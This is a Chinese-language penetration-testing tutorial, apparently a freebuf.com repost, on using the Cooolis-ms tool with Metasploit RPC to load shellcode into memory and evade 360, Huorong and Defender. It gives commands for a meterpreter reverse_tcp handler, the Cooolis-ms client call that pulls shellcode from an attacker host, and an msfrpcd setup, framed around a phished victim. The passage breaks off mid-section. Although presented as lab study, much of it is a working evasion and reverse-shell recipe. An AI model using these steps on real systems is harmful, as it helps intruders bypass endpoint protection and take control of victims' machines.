渗透测试之地基免杀篇:C2、RPC、加载内存三种方式全免杀 – 作者:dayuxiyou

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

内网渗透的后渗透阶段过程中,最主要的问题就是免杀,如果服务器安装了杀软,上传EXP进行提权和隧道工具都会受到影响,对于CS/MSF两大内网维持权限等工具可以使用加载shellcode的方式进行免杀提权,但是一般的免杀都要涉及到常用的工具或者修改源码、修改特征混淆等方式进行处理才能达到免杀效果,这种处理不但繁琐而且不具有通用性,开发一种通用性强的工具来进行免杀是非常必要的。

接下来将会介绍静态免杀的方法和思路,包含创建MSF-RPC服务端使用VirtualAlloc Windows API 向操作系统申请内存空间执行shellcode,还对ExternalC2创建命名通道,直接连接服务端免杀过程,以及进行内存加载分离上线C语言shellcode的过程,最后还会分析底层的一些源码原理和简单的分析。

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.253.8

系统:kali.2020.4

Kali系统是黑客用于制作生成payload的环境。

VPS服务器:

IP:192.168.253.8

此次环境将使用kali2020.4进行模拟VPS服务器开启CS的./teamserver服务。

办公区域:

系统:windwos 10

IP:192.168.253.17

存在:360、360杀毒、火绒、deferencer杀软检测。

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用ExternalC2自创管道进行C2通信和MSF-RPC进行API免杀,以及内存加载免杀演示并控制对方的过程。

三、环境部署

1612709538_601ffea2c2fe2dd5d1401.png!small?1612709539221

https://github.com/Rvn0xsy/Cooolis-ms/releases/tag/refs%2Fheads%2Fmaster

只需要将该工具下载到本地即可,最后会对源码进行分析和拓展思路。

四、免杀演示

1、MSF Docker免杀

首先作者搭建好了Docker,我们只需要镜像过来,作为渗透过程中一个方便的容器。

1612709548_601ffeacbb287102e94f4.png!small?1612709552942

proxychains git clone https://github.com/Rvn0xsy/Cooolis-ms.git

下载源码到kali本地。
1612709554_601ffeb24047724f982fe.png!small?1612709556628

git pull

查看已经是最新的版本。

1612709560_601ffeb8aefdb0ca0a043.png!small?1612709564820

docker-compose up -d

进入docker文件夹,将docker镜像,等待几分钟完成。

1612709566_601ffebe70429536e4f29.png!small?1612709568712

docker-compose config
docker-compose ps

可发现已经成功镜像后,并开启了8899端口服务,类似于一个服务端。

1612709572_601ffec48d4c1587df128.png!small?1612709575871

msfconsole -x “use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 8876; exploit -j; “

这里打开MSF监听,地址为本地IP,端口自定义即可。(为了方便我在本地部署)
1612709580_601ffecce90cefee5b26b.png!small?1612709596953

Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=8876,Format=dll -H 192.168.253.8 -P 8899

可看到执行命令后,通过Cooolis轻量级工具自动生成msf的shellcode,而不需要繁琐的在msf环境下进行生成,Cooolis并且支持所有的payload模块,执行后四件套杀软都未报毒和阻碍。

1612709590_601ffed6d8af0a02c92db.png!small?1612709596953
可看到成功上线,并且进行正常交互,并未被杀软阻碍,达到了全免杀的效果。

1612709599_601ffedf875adcab7ad55.png!small?1612709609239
该执行的是shellcode加载内存Format=dll上线的,上线的是rundll32.ex程序,该原理我简单讲解下:

1. 客户端执行Cooolis.exe运行后,会向8899的docker服务端取回对应的木块shellcode。 2. 当docker server接收到请求后,会调用内置的API Method,然后登录到MSF监听的本地端。 3. 最后本地端会把生成好的shellcode回传,最终到达客户端,上线console(监听上线)

其中可看到客户端和docker server是分离的,客户端和监听端也是分离的,docker server和监听端也是分离的,三者都可以部署在三台服务设备上,但原理是客户端得经过docker在找到监听端才可上线成功,其中运用了dll内存加载,中间的dll内存原理是把shellcode通过tcp请求,使用API获取赋值到内存缓存数组,动态分配内存执行shellcode达到免杀的效果。

2、MSF RPC免杀

经过作者搭建好的docker server可能不太好理解原理,那么接下来我们利用msfrpcd搭建自己的服务端server进行演示API建立的过程达到免杀。

1)源码部署

1612709616_601ffef06129c16597b13.png!small?1612709623453

pip3 install -r requirements.txt

首先需要下载该server.py匹配模块,该模块主要配合Metasploit的RPC服务接口手册写的。

2)开启msfrpc-server

1612709624_601ffef8adf7952ec1906.png!small?1612709628008

msfrpcd -U msf -P msf -u /api/1.0/

创建一个msfrpc服务,-P参数后面指定连接到的RPC服务需要提供的口令,-U参数指定连接所需输入的用户名,未填写IP是默认为127.0.0.1。

如果MSF-RPC搭建在另外的服务器

来源:freebuf.com 2021-02-07 22:49:53 by: dayuxiyou

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论